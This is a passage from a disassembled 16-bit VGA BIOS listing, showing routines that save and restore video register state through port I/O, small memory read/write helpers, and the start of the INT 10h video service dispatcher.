mov dx, 003cah ; ba ca 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 47 06
mov ax, strict word 00001h ; b8 01 00
mov word [bp-00ah], ax ; 89 46 f6
add cx, ax ; 01 c1
jmp short 0292eh ; eb 06
cmp word [bp-00ah], strict byte 00004h ; 83 7e f6 04
jnbe short 0294bh ; 77 1d
mov al, byte [bp-00ah] ; 8a 46 f6
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov dx, 003c5h ; ba c5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 20 06
inc cx ; 41
inc word [bp-00ah] ; ff 46 f6
jmp short 02928h ; eb dd
xor al, al ; 30 c0
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov dx, 003c5h ; ba c5 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 04 06
mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00
inc cx ; 41
jmp short 0296fh ; eb 06
cmp word [bp-00ah], strict byte 00018h ; 83 7e f6 18
jnbe short 0298bh ; 77 1c
mov al, byte [bp-00ah] ; 8a 46 f6
mov dx, di ; 89 fa
out DX, AL ; ee
lea dx, [di+001h] ; 8d 55 01
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 e0 05
inc cx ; 41
inc word [bp-00ah] ; ff 46 f6
jmp short 02969h ; eb de
mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00
jmp short 02998h ; eb 06
cmp word [bp-00ah], strict byte 00013h ; 83 7e f6 13
jnbe short 029c1h ; 77 29
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov ax, word [bp-008h] ; 8b 46 f8
and ax, strict word 00020h ; 25 20 00
or ax, word [bp-00ah] ; 0b 46 f6
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov dx, 003c1h ; ba c1 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 aa 05
inc cx ; 41
inc word [bp-00ah] ; ff 46 f6
jmp short 02992h ; eb d1
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00
jmp short 029d4h ; eb 06
cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08
jnbe short 029f1h ; 77 1d
mov al, byte [bp-00ah] ; 8a 46 f6
mov dx, 003ceh ; ba ce 03
out DX, AL ; ee
mov dx, 003cfh ; ba cf 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 7a 05
inc cx ; 41
inc word [bp-00ah] ; ff 46 f6
jmp short 029ceh ; eb dd
mov bx, di ; 89 fb
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 87 05
inc cx ; 41
inc cx ; 41
xor bx, bx ; 31 db
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 60 05
inc cx ; 41
xor bx, bx ; 31 db
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 56 05
inc cx ; 41
xor bx, bx ; 31 db
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 4c 05
inc cx ; 41
xor bx, bx ; 31 db
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 42 05
inc cx ; 41
test byte [bp-00ch], 002h ; f6 46 f4 02
je near 02b93h ; 0f 84 67 01
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 22 05
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 26 05
inc cx ; 41
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 2a 05
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 2f 05
inc cx ; 41
inc cx ; 41
mov dx, strict word 0004ch ; ba 4c 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 16 05
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 1b 05
inc cx ; 41
inc cx ; 41
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 02 05
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 07 05
inc cx ; 41
inc cx ; 41
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 d2 04
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 d6 04
inc cx ; 41
mov dx, 00085h ; ba 85 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 da 04
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 df 04
inc cx ; 41
inc cx ; 41
mov dx, 00087h ; ba 87 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 aa 04
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 ae 04
inc cx ; 41
mov dx, 00088h ; ba 88 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 96 04
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 9a 04
inc cx ; 41
mov dx, 00089h ; ba 89 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 82 04
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 86 04
inc cx ; 41
mov dx, strict word 00060h ; ba 60 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 8a 04
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 8f 04
mov word [bp-00ah], strict word 00000h ; c7 46 f6 00 00
inc cx ; 41
inc cx ; 41
jmp short 02b01h ; eb 06
cmp word [bp-00ah], strict byte 00008h ; 83 7e f6 08
jnc short 02b1fh ; 73 1e
mov dx, word [bp-00ah] ; 8b 56 f6
add dx, dx ; 01 d2
add dx, strict byte 00050h ; 83 c2 50
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 64 04
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 69 04
inc cx ; 41
inc cx ; 41
inc word [bp-00ah] ; ff 46 f6
jmp short 02afbh ; eb dc
mov dx, strict word 0004eh ; ba 4e 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 4b 04
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 50 04
inc cx ; 41
inc cx ; 41
mov dx, strict word 00062h ; ba 62 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 1b 04
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 1f 04
inc cx ; 41
mov dx, strict word 0007ch ; ba 7c 00
xor ax, ax ; 31 c0
call 02f73h ; e8 24 04
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 29 04
inc cx ; 41
inc cx ; 41
mov dx, strict word 0007eh ; ba 7e 00
xor ax, ax ; 31 c0
call 02f73h ; e8 11 04
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 16 04
inc cx ; 41
inc cx ; 41
mov dx, 0010ch ; ba 0c 01
xor ax, ax ; 31 c0
call 02f73h ; e8 fe 03
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 03 04
inc cx ; 41
inc cx ; 41
mov dx, 0010eh ; ba 0e 01
xor ax, ax ; 31 c0
call 02f73h ; e8 eb 03
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f81h ; e8 f0 03
inc cx ; 41
inc cx ; 41
test byte [bp-00ch], 004h ; f6 46 f4 04
je short 02c00h ; 74 67
mov dx, 003c7h ; ba c7 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 bc 03
inc cx ; 41
mov dx, 003c8h ; ba c8 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 ab 03
inc cx ; 41
mov dx, 003c6h ; ba c6 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 9a 03
inc cx ; 41
xor al, al ; 30 c0
mov dx, 003c8h ; ba c8 03
out DX, AL ; ee
xor ah, ah ; 30 e4
mov word [bp-00ah], ax ; 89 46 f6
jmp short 02be0h ; eb 07
cmp word [bp-00ah], 00300h ; 81 7e f6 00 03
jnc short 02bf6h ; 73 16
mov dx, 003c9h ; ba c9 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
movzx bx, al ; 0f b6 d8
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 75 03
inc cx ; 41
inc word [bp-00ah] ; ff 46 f6
jmp short 02bd9h ; eb e3
xor bx, bx ; 31 db
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f65h ; e8 66 03
inc cx ; 41
mov ax, cx ; 89 c8
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
biosfn_restore_video_state_: ; 0xc2c0a LB 0x326
push bp ; 55
mov bp, sp ; 89 e5
push cx ; 51
push si ; 56
push di ; 57
sub sp, strict byte 00006h ; 83 ec 06
push ax ; 50
mov si, dx ; 89 d6
mov cx, bx ; 89 d9
test byte [bp-00eh], 001h ; f6 46 f2 01
je near 02d6ah ; 0f 84 4a 01
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
lea dx, [bx+040h] ; 8d 57 40
mov ax, si ; 89 f0
call 02f73h ; e8 45 03
mov di, ax ; 89 c7
mov word [bp-008h], strict word 00001h ; c7 46 f8 01 00
lea cx, [bx+005h] ; 8d 4f 05
jmp short 02c40h ; eb 06
cmp word [bp-008h], strict byte 00004h ; 83 7e f8 04
jnbe short 02c58h ; 77 18
mov al, byte [bp-008h] ; 8a 46 f8
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 09 03
mov dx, 003c5h ; ba c5 03
out DX, AL ; ee
inc cx ; 41
inc word [bp-008h] ; ff 46 f8
jmp short 02c3ah ; eb e2
xor al, al ; 30 c0
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 f2 02
mov dx, 003c5h ; ba c5 03
out DX, AL ; ee
inc cx ; 41
mov ax, strict word 00011h ; b8 11 00
mov dx, di ; 89 fa
out DX, ax ; ef
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
jmp short 02c7dh ; eb 06
cmp word [bp-008h], strict byte 00018h ; 83 7e f8 18
jnbe short 02c9ah ; 77 1d
cmp word [bp-008h], strict byte 00011h ; 83 7e f8 11
je short 02c94h ; 74 11
mov al, byte [bp-008h] ; 8a 46 f8
mov dx, di ; 89 fa
out DX, AL ; ee
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 c7 02
lea dx, [di+001h] ; 8d 55 01
out DX, AL ; ee
inc cx ; 41
inc word [bp-008h] ; ff 46 f8
jmp short 02c77h ; eb dd
mov dx, 003cch ; ba cc 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
and AL, strict byte 0feh ; 24 fe
mov word [bp-00ah], ax ; 89 46 f6
cmp di, 003d4h ; 81 ff d4 03
jne short 02cafh ; 75 04
or byte [bp-00ah], 001h ; 80 4e f6 01
mov al, byte [bp-00ah] ; 8a 46 f6
mov dx, 003c2h ; ba c2 03
out DX, AL ; ee
mov AL, strict byte 011h ; b0 11
mov dx, di ; 89 fa
out DX, AL ; ee
mov dx, cx ; 89 ca
add dx, strict byte 0fff9h ; 83 c2 f9
mov ax, si ; 89 f0
call 02f57h ; e8 92 02
lea dx, [di+001h] ; 8d 55 01
out DX, AL ; ee
lea dx, [bx+003h] ; 8d 57 03
mov ax, si ; 89 f0
call 02f57h ; e8 86 02
xor ah, ah ; 30 e4
mov word [bp-00ch], ax ; 89 46 f4
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
jmp short 02ce9h ; eb 06
cmp word [bp-008h], strict byte 00013h ; 83 7e f8 13
jnbe short 02d07h ; 77 1e
mov ax, word [bp-00ch] ; 8b 46 f4
and ax, strict word 00020h ; 25 20 00
or ax, word [bp-008h] ; 0b 46 f8
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 5a 02
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
inc cx ; 41
inc word [bp-008h] ; ff 46 f8
jmp short 02ce3h ; eb dc
mov al, byte [bp-00ch] ; 8a 46 f4
mov dx, 003c0h ; ba c0 03
out DX, AL ; ee
mov dx, 003dah ; ba da 03
in AL, DX ; ec
db 02ah, 0e4h
; sub ah, ah ; 2a e4
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
jmp short 02d21h ; eb 06
cmp word [bp-008h], strict byte 00008h ; 83 7e f8 08
jnbe short 02d39h ; 77 18
mov al, byte [bp-008h] ; 8a 46 f8
mov dx, 003ceh ; ba ce 03
out DX, AL ; ee
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 28 02
mov dx, 003cfh ; ba cf 03
out DX, AL ; ee
inc cx ; 41
inc word [bp-008h] ; ff 46 f8
jmp short 02d1bh ; eb e2
add cx, strict byte 00006h ; 83 c1 06
mov dx, bx ; 89 da
mov ax, si ; 89 f0
call 02f57h ; e8 14 02
mov dx, 003c4h ; ba c4 03
out DX, AL ; ee
inc bx ; 43
mov dx, bx ; 89 da
mov ax, si ; 89 f0
call 02f57h ; e8 08 02
mov dx, di ; 89 fa
out DX, AL ; ee
inc bx ; 43
mov dx, bx ; 89 da
mov ax, si ; 89 f0
call 02f57h ; e8 fd 01
mov dx, 003ceh ; ba ce 03
out DX, AL ; ee
lea dx, [bx+002h] ; 8d 57 02
mov ax, si ; 89 f0
call 02f57h ; e8 f1 01
lea dx, [di+006h] ; 8d 55 06
out DX, AL ; ee
test byte [bp-00eh], 002h ; f6 46 f2 02
je near 02ed9h ; 0f 84 67 01
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 de 01
movzx bx, al ; 0f b6 d8
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 e0 01
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 e6 01
mov bx, ax ; 89 c3
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 e9 01
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 d2 01
mov bx, ax ; 89 c3
mov dx, strict word 0004ch ; ba 4c 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 d5 01
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 be 01
mov bx, ax ; 89 c3
mov dx, strict word 00063h ; ba 63 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 c1 01
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 8e 01
movzx bx, al ; 0f b6 d8
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 90 01
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 96 01
mov bx, ax ; 89 c3
mov dx, 00085h ; ba 85 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 99 01
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 66 01
movzx bx, al ; 0f b6 d8
mov dx, 00087h ; ba 87 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 68 01
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 52 01
movzx bx, al ; 0f b6 d8
mov dx, 00088h ; ba 88 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 54 01
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 3e 01
movzx bx, al ; 0f b6 d8
mov dx, 00089h ; ba 89 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 40 01
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 46 01
mov bx, ax ; 89 c3
mov dx, strict word 00060h ; ba 60 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 49 01
mov word [bp-008h], strict word 00000h ; c7 46 f8 00 00
inc cx ; 41
inc cx ; 41
jmp short 02e47h ; eb 06
cmp word [bp-008h], strict byte 00008h ; 83 7e f8 08
jnc short 02e65h ; 73 1e
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 25 01
mov bx, ax ; 89 c3
mov dx, word [bp-008h] ; 8b 56 f8
add dx, dx ; 01 d2
add dx, strict byte 00050h ; 83 c2 50
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 23 01
inc cx ; 41
inc cx ; 41
inc word [bp-008h] ; ff 46 f8
jmp short 02e41h ; eb dc
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 07 01
mov bx, ax ; 89 c3
mov dx, strict word 0004eh ; ba 4e 00
mov ax, strict word 00040h ; b8 40 00
call 02f81h ; e8 0a 01
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 d7 00
movzx bx, al ; 0f b6 d8
mov dx, strict word 00062h ; ba 62 00
mov ax, strict word 00040h ; b8 40 00
call 02f65h ; e8 d9 00
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 df 00
mov bx, ax ; 89 c3
mov dx, strict word 0007ch ; ba 7c 00
xor ax, ax ; 31 c0
call 02f81h ; e8 e3 00
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 cc 00
mov bx, ax ; 89 c3
mov dx, strict word 0007eh ; ba 7e 00
xor ax, ax ; 31 c0
call 02f81h ; e8 d0 00
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 b9 00
mov bx, ax ; 89 c3
mov dx, 0010ch ; ba 0c 01
xor ax, ax ; 31 c0
call 02f81h ; e8 bd 00
inc cx ; 41
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f73h ; e8 a6 00
mov bx, ax ; 89 c3
mov dx, 0010eh ; ba 0e 01
xor ax, ax ; 31 c0
call 02f81h ; e8 aa 00
inc cx ; 41
inc cx ; 41
test byte [bp-00eh], 004h ; f6 46 f2 04
je short 02f26h ; 74 47
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 70 00
xor ah, ah ; 30 e4
mov word [bp-00ah], ax ; 89 46 f6
inc cx ; 41
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 63 00
mov dx, 003c6h ; ba c6 03
out DX, AL ; ee
inc cx ; 41
xor al, al ; 30 c0
mov dx, 003c8h ; ba c8 03
out DX, AL ; ee
xor ah, ah ; 30 e4
mov word [bp-008h], ax ; 89 46 f8
jmp short 02f0dh ; eb 07
cmp word [bp-008h], 00300h ; 81 7e f8 00 03
jnc short 02f1eh ; 73 11
mov dx, cx ; 89 ca
mov ax, si ; 89 f0
call 02f57h ; e8 43 00
mov dx, 003c9h ; ba c9 03
out DX, AL ; ee
inc cx ; 41
inc word [bp-008h] ; ff 46 f8
jmp short 02f06h ; eb e8
inc cx ; 41
mov al, byte [bp-00ah] ; 8a 46 f6
mov dx, 003c8h ; ba c8 03
out DX, AL ; ee
mov ax, cx ; 89 c8
lea sp, [bp-006h] ; 8d 66 fa
pop di ; 5f
pop si ; 5e
pop cx ; 59
pop bp ; 5d
retn ; c3
find_vga_entry_: ; 0xc2f30 LB 0x27
push bx ; 53
push dx ; 52
push bp ; 55
mov bp, sp ; 89 e5
mov dl, al ; 88 c2
mov AH, strict byte 0ffh ; b4 ff
xor al, al ; 30 c0
jmp short 02f43h ; eb 06
db 0feh, 0c0h
; inc al ; fe c0
cmp AL, strict byte 00fh ; 3c 0f
jnbe short 02f51h ; 77 0e
movzx bx, al ; 0f b6 d8
sal bx, 003h ; c1 e3 03
cmp dl, byte [bx+0462fh] ; 3a 97 2f 46
jne short 02f3dh ; 75 ee
mov ah, al ; 88 c4
mov al, ah ; 88 e0
pop bp ; 5d
pop dx ; 5a
pop bx ; 5b
retn ; c3
read_byte_: ; 0xc2f57 LB 0xe
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, dx ; 89 d3
mov es, ax ; 8e c0
mov al, byte [es:bx] ; 26 8a 07
pop bp ; 5d
pop bx ; 5b
retn ; c3
write_byte_: ; 0xc2f65 LB 0xe
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov byte [es:si], bl ; 26 88 1c
pop bp ; 5d
pop si ; 5e
retn ; c3
read_word_: ; 0xc2f73 LB 0xe
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, dx ; 89 d3
mov es, ax ; 8e c0
mov ax, word [es:bx] ; 26 8b 07
pop bp ; 5d
pop bx ; 5b
retn ; c3
write_word_: ; 0xc2f81 LB 0xe
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov word [es:si], bx ; 26 89 1c
pop bp ; 5d
pop si ; 5e
retn ; c3
read_dword_: ; 0xc2f8f LB 0x12
push bx ; 53
push bp ; 55
mov bp, sp ; 89 e5
mov bx, dx ; 89 d3
mov es, ax ; 8e c0
mov ax, word [es:bx] ; 26 8b 07
mov dx, word [es:bx+002h] ; 26 8b 57 02
pop bp ; 5d
pop bx ; 5b
retn ; c3
write_dword_: ; 0xc2fa1 LB 0x96
push si ; 56
push bp ; 55
mov bp, sp ; 89 e5
mov si, dx ; 89 d6
mov es, ax ; 8e c0
mov word [es:si], bx ; 26 89 1c
mov word [es:si+002h], cx ; 26 89 4c 02
pop bp ; 5d
pop si ; 5e
retn ; c3
dec di ; 4f
sbb AL, strict byte 01bh ; 1c 1b
adc dx, word [bp+si] ; 13 12
adc word [bx+si], dx ; 11 10
push CS ; 0e
or ax, 00a0ch ; 0d 0c 0a
or word [bx+si], cx ; 09 08
pop ES ; 07
push ES ; 06
add ax, 00304h ; 05 04 03
add al, byte [bx+di] ; 02 01
add dl, bh ; 00 fa
xor bp, word [bp+si+030h] ; 33 6a 30
test AL, strict byte 030h ; a8 30
mov sp, 0cd30h ; bc 30 cd
xor cl, ah ; 30 e1
xor dl, dh ; 30 f2
xor ah, bh ; 30 fc
xor byte [03a31h], dh ; 30 36 31 3a
xor word [bp+di+031h], cx ; 31 4b 31
push 08531h ; 68 31 85
xor word [si-03ecfh], sp ; 31 a4 31 c1
xor ax, bx ; 31 d8
xor sp, sp ; 31 e4
xor word [si-011ceh], si ; 31 b4 32 ee
xor ah, byte [bx+di] ; 32 21
xor si, word [07333h] ; 33 36 33 73
xor si, word [bx+si] ; 33 30
and AL, strict byte 023h ; 24 23
and ah, byte [bx+di] ; 22 21
and byte [si], dl ; 20 14
adc dl, byte [bx+di] ; 12 11
adc byte [si], al ; 10 04
add al, byte [bx+di] ; 02 01
add dl, bh ; 00 fa
xor ax, word [bp+di] ; 33 03
xor ch, byte [bx+di] ; 32 29
xor bh, byte [bp+si] ; 32 3a
xor cl, byte [bp+di+032h] ; 32 4b 32
add si, word [bp+si] ; 03 32
sub word [bp+si], si ; 29 32
cmp dh, byte [bp+si] ; 3a 32
dec bx ; 4b
xor bl, byte [si+032h] ; 32 5c 32
push 08332h ; 68 32 83
xor cl, byte [bp+di-06cceh] ; 32 8b 32 93
xor bl, byte [bp+di+00a32h] ; 32 9b 32 0a
or word [00204h], ax ; 09 06 04 02
add word [bx+si], ax ; 01 00
out DX, AL ; ee
xor bx, word [bp+di-057cdh] ; 33 9b 33 a8
xor di, word [bx+si-037cdh] ; 33 b8 33 c8
db 033h, 0ddh
; xor bx, bp ; 33 dd
db 033h, 0eeh
; xor bp, si ; 33 ee
db 033h, 0eeh
; xor bp, si ; 33 ee
db 033h
_int10_func: ; 0xc3037 LB 0x3ca
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
push ax ; 50
mov si, word [bp+004h] ; 8b 76 04
mov ax, word [bp+012h] ; 8b 46 12
shr ax, 008h ; c1 e8 08
cmp ax, strict word 0004fh ; 3d 4f 00
jnbe near 033fah ; 0f 87 ad 03
push CS ; 0e
pop ES ; 07
mov cx, strict word 00016h ; b9 16 00
mov di, 02fb3h ; bf b3 2f
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov bx, word [cs:di+02fc8h] ; 2e 8b 9d c8 2f
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
mov dl, byte [bp+012h] ; 8a 56 12
jmp bx ; ff e3
mov al, byte [bp+012h] ; 8a 46 12
xor ah, ah ; 30 e4
call 00fdch ; e8 6a df
mov ax, word [bp+012h] ; 8b 46 12
and ax, strict word 0007fh ; 25 7f 00
cmp ax, strict word 00007h ; 3d 07 00
je short 03092h ; 74 15
cmp ax, strict word 00006h ; 3d 06 00
je short 03089h ; 74 07
cmp ax, strict word 00005h ; 3d 05 00
jbe short 03092h ; 76 0b
jmp short 0309bh ; eb 12
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 03fh ; 0c 3f
jmp short 030a2h ; eb 10
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 030h ; 0c 30
jmp short 030a2h ; eb 07
mov ax, word [bp+012h] ; 8b 46 12
xor al, al ; 30 c0
or AL, strict byte 020h ; 0c 20
mov word [bp+012h], ax ; 89 46 12
jmp near 033fah ; e9 52 03
mov al, byte [bp+010h] ; 8a 46 10
movzx dx, al ; 0f b6 d0
mov ax, word [bp+010h] ; 8b 46 10
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
call 00dbah ; e8 01 dd
jmp near 033fah ; e9 3e 03
mov dx, word [bp+00eh] ; 8b 56 0e
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
call 00e5eh ; e8 94 dd
jmp near 033fah ; e9 2d 03
lea bx, [bp+00eh] ; 8d 5e 0e
lea dx, [bp+010h] ; 8d 56 10
mov ax, word [bp+00ch] ; 8b 46 0c
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
call 00a88h ; e8 aa d9
jmp near 033fah ; e9 19 03
xor al, al ; 30 c0
mov word [bp+012h], ax ; 89 46 12
mov word [bp+00ch], ax ; 89 46 0c
mov word [bp+010h], ax ; 89 46 10
mov word [bp+00eh], ax ; 89 46 0e
jmp near 033fah ; e9 08 03
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
call 00f00h ; e8 07 de
jmp near 033fah ; e9 fe 02
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov ax, 000ffh ; b8 ff 00
push ax ; 50
mov al, byte [bp+00eh] ; 8a 46 0e
xor ah, ah ; 30 e4
push ax ; 50
mov ax, word [bp+00eh] ; 8b 46 0e
shr ax, 008h ; c1 e8 08
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+010h] ; 8a 46 10
movzx cx, al ; 0f b6 c8
